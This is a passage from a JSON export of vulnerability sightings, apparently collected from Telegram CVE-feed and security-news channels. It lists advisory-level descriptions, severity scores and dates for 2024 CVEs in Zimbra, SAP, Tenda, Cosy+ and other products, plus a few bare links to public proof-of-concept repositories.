\"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:17.000000Z"}, {"uuid": "066fca73-9f4a-447f-835f-6b5216ad799e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33028", "type": "seen", "source": "https://t.me/cvedetector/2453", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33028 - Google Pixel Timeline Fence Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33028 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Memory corruption as fence object may still be accessed in timeline destruct after isync fence is released. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:16.000000Z"}, {"uuid": "94d3dd8d-7ed8-4cbf-b2a9-feffae6a2974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33034", "type": "seen", "source": "https://t.me/cvedetector/2452", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33034 - NVIDIA GPU SMMU Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33034 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Memory corruption can occur if VBOs hold outdated or invalid GPU SMMU mappings, especially when the binding and reclaiming of memory buffers are performed at the same time. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:15.000000Z"}, {"uuid": "47022e20-058f-4a70-a525-ca23a5ed6199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33894", "type": "seen", "source": "https://t.me/cvedetector/2369", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33894 - \"Cosy+ Privilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-33894 \nPublished : Aug. 2, 2024, 6:16 p.m. | 21\u00a0minutes ago \nDescription : Insecure Permission vulnerability in Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 are executing several processes with elevated privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T20:42:32.000000Z"}, {"uuid": "ff1175e2-4fce-49f7-98e8-d2712a5cb546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33893", "type": "seen", "source": "https://t.me/cvedetector/2371", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33893 - Cosy+ Devices Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33893 \nPublished : Aug. 2, 2024, 6:16 p.m. | 21\u00a0minutes ago \nDescription : Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 are vulnerable to XSS when displaying the logs due to improper input sanitization. This is fixed in version 21.2s10 and 22.1s3. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T20:42:34.000000Z"}, {"uuid": "4c90a4fb-9d87-453e-be96-a96a586f2c84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33892", "type": "seen", "source": "https://t.me/cvedetector/2368", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33892 - Cosy+ Cookie Information Leak\", \n  \"Content\": \"CVE ID : CVE-2024-33892 \nPublished : Aug. 2, 2024, 6:16 p.m. | 21\u00a0minutes ago \nDescription : Insecure Permissions vulnerability in Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 are susceptible to leaking information through cookies. This is fixed in version 21.2s10 and 22.1s3 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T20:42:31.000000Z"}, {"uuid": "87fbf4b2-590e-4c90-9996-a5cea18f7669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33896", "type": "seen", "source": "https://t.me/cvedetector/2361", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33896 - Cosy+ Devices Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33896 \nPublished : Aug. 2, 2024, 6:16 p.m. | 21\u00a0minutes ago \nDescription : Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 are vulnerable to code injection due to improper parameter blacklisting. This is fixed in version 21.2s10 and 22.1s3. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T20:42:24.000000Z"}, {"uuid": "d7d9e8bd-c160-46db-acfb-758e2f3cf974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33003", "type": "seen", "source": "https://t.me/cvedetector/2958", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33003 - SAP Commerce Cloud OCC API Insufficient Data in URL Parameters Information Disclosure and Data Leaking\", \n  \"Content\": \"CVE ID : CVE-2024-33003 \nPublished : Aug. 13, 2024, 4:15 a.m. | 40\u00a0minutes ago \nDescription : Some OCC API endpoints in SAP Commerce Cloud  \nallows Personally Identifiable Information (PII) data, such as passwords, email  \naddresses, mobile numbers, coupon codes, and voucher codes, to be included in  \nthe request URL as query or path parameters. On successful exploitation, this  \ncould lead to a High impact on confidentiality and integrity of the  \napplication. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T07:04:09.000000Z"}, {"uuid": "30a83a01-d36e-40e3-b593-b8e5927b661b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33005", "type": "seen", "source": "https://t.me/cvedetector/2957", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33005 - SAP Impersonation Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-33005 \nPublished : Aug. 13, 2024, 4:15 a.m. | 40\u00a0minutes ago \nDescription : Due to the missing authorization checks in the  \nlocal systems, the admin users of SAP Web Dispatcher, SAP NetWeaver Application  \nServer (ABAP and Java), and SAP Content Server can impersonate other users and  \nmay perform some unintended actions. This could lead to a low impact on  \nconfidentiality and a high impact on the integrity and availability of the  \napplications. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T07:04:08.000000Z"}, {"uuid": "a61935a5-8456-4733-a467-ced831fd8a99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33533", "type": "seen", "source": "https://t.me/cvedetector/2851", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33533 - Zimbra Collaboration Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33533 \nPublished : Aug. 12, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0, issue 1 of 2. A reflected cross-site scripting (XSS) vulnerability has been identified in the Zimbra webmail admin interface. This vulnerability occurs due to inadequate input validation of the packages parameter, allowing an authenticated attacker to inject and execute arbitrary JavaScript code within the context of another user's browser session. By uploading a malicious JavaScript file and crafting a URL containing its location in the packages parameter, the attacker can exploit this vulnerability. Subsequently, when another user visits the crafted URL, the malicious JavaScript code is executed. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T18:27:19.000000Z"}, {"uuid": "545461fb-ffc4-4873-92e9-cd3c3253d49c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33536", "type": "seen", "source": "https://t.me/cvedetector/2849", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33536 - Zimbra Collaboration Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-33536 \nPublished : Aug. 12, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. The vulnerability occurs due to inadequate input validation of the res parameter, allowing an authenticated attacker to inject and execute arbitrary JavaScript code within the context of another user's browser session. By uploading a malicious JavaScript file, accessible externally, and crafting a URL containing its location in the res parameter, the attacker can exploit this vulnerability. Subsequently, when another user visits the crafted URL, the malicious JavaScript code is executed. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T18:27:17.000000Z"}, {"uuid": "b0243f24-fad7-45e6-bb28-7edda2a0e428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33535", "type": "seen", "source": "https://t.me/cvedetector/2847", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33535 - Zimbra Collaboration Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33535 \nPublished : Aug. 12, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. The vulnerability involves unauthenticated local file inclusion (LFI) in a web application, specifically impacting the handling of the packages parameter. Attackers can exploit this flaw to include arbitrary local files without authentication, potentially leading to unauthorized access to sensitive information. The vulnerability is limited to files within a specific directory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T18:27:15.000000Z"}, {"uuid": "60039e71-b70d-4b2e-abc6-4202ad001a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33897", "type": "seen", "source": "https://t.me/cvedetector/2595", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33897 - HMS Networks Cosy+ Certificate Signing Request Abuse Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33897 \nPublished : Aug. 6, 2024, 2:16 p.m. | 17\u00a0minutes ago \nDescription : A compromised HMS Networks Cosy+ device could be used to request a Certificate Signing Request from Talk2m for another device, resulting in an availability issue. The issue was patched on the Talk2m production server on April 18, 2024. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T16:41:41.000000Z"}, {"uuid": "bed65a86-5cdb-4661-8716-8d70b46d55df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33991", "type": "seen", "source": "https://t.me/cvedetector/2589", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33991 - School Event Management System transient XSS\", \n  \"Content\": \"CVE ID : CVE-2024-33991 \nPublished : Aug. 6, 2024, 1:15 p.m. | 29\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the\u00a0'view' parameter in '/eventwinner/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:51:29.000000Z"}, {"uuid": "31912324-ddab-46fc-84b4-433dabbf5519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33519", "type": "seen", "source": "https://t.me/cvedetector/1599", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33519 - \"HPE Aruba Networking EdgeConnect SD-WAN Server-Side Prototype Pollution\"\", \n  \"Content\": \"CVE ID : CVE-2024-33519 \nPublished : July 24, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : A vulnerability in the web-based management interface of HPE Aruba Networking EdgeConnect SD-WAN gateway could allow an authenticated remote attacker to conduct a server-side prototype pollution attack. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T23:20:36.000000Z"}, {"uuid": "5d777ad4-2da9-4b35-8c4a-d71200ea5b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33365", "type": "seen", "source": "https://t.me/cvedetector/1900", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33365 - Tenda AC10 Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33365 \nPublished : July 29, 2024, 5:15 p.m. | 17\u00a0minutes ago \nDescription : Buffer Overflow vulnerability in Tenda AC10 v4 US_AC10V4.0si_V16.03.10.20_cn allows a remote attacker to execute arbitrary code via the Virtual_Data_Check function in the bin/httpd component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-29T19:39:02.000000Z"}, {"uuid": "90a6c978-7072-4c3d-b94e-8c1e44f51663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33533", "type": "seen", "source": "https://t.me/CyberBulletin/397", "content": "\u26a1\ufe0fCVE-2024-33533 to 33536: Zimbra Users at Risk of XSS and LFI Attacks.\n\n#CyberBulletin", "creation_timestamp": "2024-08-16T11:49:15.000000Z"}, {"uuid": "57c23d4a-cc07-4836-bfba-725ef7658e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3325", "type": "seen", "source": "https://t.me/cvedetector/558", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3325 - Vulnerability in Jaspersoft JasperReport Servers.T\", \n  \"Content\": \"CVE ID : CVE-2024-3325 \nPublished : July 10, 2024, 5:15 p.m. | 24\u00a0minutes ago \nDescription : Vulnerability in Jaspersoft JasperReport Servers.This issue affects JasperReport Servers: from 8.0.4 through 9.0.0. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T19:43:26.000000Z"}, {"uuid": "7be8b3e1-dcd2-49e6-afd5-38cdcac85cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33509", "type": "seen", "source": "https://t.me/cvedetector/376", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33509 - An improper certificate validation vulnerability [\", \n  \"Content\": \"CVE ID : CVE-2024-33509 \nPublished : July 9, 2024, 4:15 p.m. | 37\u00a0minutes ago \nDescription : An improper certificate validation vulnerability [CWE-295] in FortiWeb 7.2.0 through 7.2.1, 7.0 all versions, 6.4 all versions and 6.3 all versions may allow a remote and unauthenticated attacker in a Man-in-the-Middle position to decipher and/or tamper with the communication channel between the device and different endpoints used to fetch data for Web Application Firewall (WAF). \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T18:57:59.000000Z"}, {"uuid": "0d001819-794f-4b72-8186-9ddd25d4ff7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33862", "type": "seen", "source": "https://t.me/cvedetector/138", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33862 - A buffer-management vulnerability in OPC Foundatio\", \n  \"Content\": \"CVE ID : CVE-2024-33862 \nPublished : July 5, 2024, 11:15 p.m. | 30\u00a0minutes ago \nDescription : A buffer-management vulnerability in OPC Foundation OPCFoundation.NetStandard.Opc.Ua.Core before 1.05.374.54 could allow remote attackers to exhaust memory resources. It is triggered when the system receives an excessive number of messages from a remote source. This could potentially lead to a denial of service (DoS) condition, disrupting the normal operation of the system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-06T01:52:44.000000Z"}, {"uuid": "9bd4269a-5bb7-455e-8d7b-89cb0dc28f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33181", "type": "seen", "source": "https://t.me/cvedetector/990", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33181 - Tenda AC18 Stack-Based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33181 \nPublished : July 16, 2024, 6:15 p.m. | 37\u00a0minutes ago \nDescription : Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceMac parameter at ip/goform/addWifiMacFilter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T21:18:19.000000Z"}, {"uuid": "d590df32-b773-4818-8987-f9a393dcaacf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33182", "type": "seen", "source": "https://t.me/cvedetector/977", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33182 - Tenda AC18 Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33182 \nPublished : July 16, 2024, 4:15 p.m. | 26\u00a0minutes ago \nDescription : Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/addWifiMacFilter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T18:47:49.000000Z"}, {"uuid": "3e9d9453-ce1c-4299-9186-dfefb36755ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33180", "type": "seen", "source": "https://t.me/cvedetector/976", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33180 - Tenda AC18 Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33180 \nPublished : July 16, 2024, 4:15 p.m. | 26\u00a0minutes ago \nDescription : Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/saveParentControlInfo. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T18:47:48.000000Z"}, {"uuid": "e1746645-a370-4cd6-89dd-2b92cd0646c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33066", "type": "seen", "source": "https://t.me/CyberBulletin/1091", "content": "\u26a1\ufe0fQualcomm Patched Multi Flaws, Including 0-day CVE-2024-43047 & RCE (CVE-2024-33066, CVSS 9.8).\n\n#CyberBulletin", "creation_timestamp": "2024-10-07T13:12:47.000000Z"}, {"uuid": "a59b575f-d11f-4c1c-b9e9-c79cd1b26c44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/34", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-07-27T06:55:01.000000Z"}, {"uuid": "fe165225-9763-4b82-a829-7b62a836be2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/608", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-07-27T15:42:28.000000Z"}, {"uuid": "67c81501-d4cf-4541-8637-c8ec8565b097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://t.me/ViralCyber/9669", "content": "\ud83d\udd34 \u0633\u0648\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u06a9\u0631\u200c\u0647\u0627 \u0627\u0632 \u0646\u0642\u0635 DoS \u0628\u0631\u0627\u06cc \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc Palo Alto Networks\n\n\u0645\u062c\u0645\u0648\u0639\u0647 Palo Alto Networks \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0647\u06a9\u0631\u200c\u0647\u0627 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Denial of Service \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2024-3393 \u0628\u0631\u0627\u06cc \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0645\u062d\u0627\u0641\u0638\u062a\u200c\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0627 \u062a\u062d\u0645\u06cc\u0644 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u0628\u0647 \u0622\u0646\u060c \u0633\u0648\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u0628\u0627\u200c\u0627\u06cc\u0646\u200c\u062d\u0627\u0644\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06a9\u0631\u0631 \u0627\u0632 \u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u062f\u0633\u062a\u06af\u0627\u0647 \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0639\u0645\u06cc\u0631 \u0648 \u0646\u06af\u0647\u062f\u0627\u0631\u06cc \u0634\u0648\u062f \u0648 \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u06af\u0631\u062f\u0627\u0646\u062f\u0646 \u0622\u0646 \u0628\u0647 \u062d\u0627\u0644\u062a \u0639\u0627\u062f\u06cc \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0645\u062f\u0627\u062e\u0644\u0647 \u062f\u0633\u062a\u06cc \u0627\u0633\u062a.\n\n\u062f\u0631 \u0627\u06cc\u0646 \u06af\u0632\u0627\u0631\u0634 \u0622\u0645\u062f\u0647 \u0627\u0633\u062a: \u00ab\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Denial of Service \u062f\u0631 \u0648\u06cc\u0698\u06af\u06cc DNS Security \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 PAN-OS \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc Palo Alto \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u062a\u0627\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u067e\u06a9\u062a \u0645\u062e\u0631\u0628 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0635\u0641\u062d\u0647 \u062f\u06cc\u062a\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u06a9\u0647 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0631\u0627 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0631\u0633\u0627\u0644 \u0646\u0645\u0627\u06cc\u062f\u00bb.\n\n\u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0641\u0642\u0637 